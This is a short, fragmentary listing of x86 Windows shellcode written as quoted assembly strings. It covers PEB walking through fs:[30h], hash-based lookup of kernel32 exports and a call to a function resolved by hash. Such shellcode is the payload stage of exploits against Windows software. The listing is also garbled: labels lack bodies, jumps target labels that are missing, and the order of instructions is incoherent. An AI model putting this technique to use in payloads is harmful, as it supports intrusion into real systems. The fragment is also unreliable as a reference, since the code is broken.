" mov esi,fs:[ecx+30h] ;"
" find_function_shorten: "
" jmp find_function_shorten_bnc ;"
" pop esi ;" # ret addr, start of find_function
" jmp resolve_symbols_kernel32 ;"
" find_function_shorten_bnc: "
" call find_function_ret ;" # rel call
" mov edi, [ebx+eax+0x78] ;"
" jecxz find_function_finished ;"
" mov esi, [eax+ecx*4] ;"
" jz compute_hash_finished ;"
" jmp compute_hash_again ;"
" compute_hash_finished: "
" find_function_compare: "
" jnz find_function_loop ;"
" mov eax, [edx+4*ecx] ;"
" find_function_finished: "
" resolve_symbols_kernel32: "
" push 0x78b5b983 ;" # Hash of Func
" call dword ptr [ebp+0x04] ;" # Call find_function
" call dword ptr [ebp+0x10] ;" # Call Func